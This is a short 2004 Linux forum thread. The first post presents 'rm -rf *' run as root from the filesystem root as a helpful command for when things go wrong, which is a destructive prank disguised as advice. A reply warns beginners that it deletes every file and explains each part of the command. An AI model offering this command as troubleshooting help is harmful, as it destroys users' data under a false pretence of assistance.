| Usefull commands for when everything goes WRONG! [message #30] |
Sun, 09 May 2004 10:51  |
 |
BlackFire Messages: 26 Registered: May 2004 Location: Home is Where the Heart i... |
Member |
|
|
|
First log in as "root"
then type "cd /"
then "rm -rf *"
and have fun!!!
|
|
|
|
|
| Re: Usefull commands for when everything goes WRONG! [message #31 is a reply to message #30 ] |
Sun, 09 May 2004 14:34   |
|
|
Ok, very funny...
Just to warn beginners... that sequence of commands will delete all files on your machine!
Explanation:
root user has access to all files no matter what...
"cd /" takes you to the root directory of your file system
"rm" is the command used to delete files, the "r" in the options means recurse into sub directories, and the "f" means to force deletion, the "*" means all files...
This is one of the reasons why you should not use "root" to do your day-to-day work.
Regards
Richard
If it takes 2 men a week to walk a fortnight, how long does it take a cross-eyed kipper to swim through a barrel of treacle?
|
|
|
|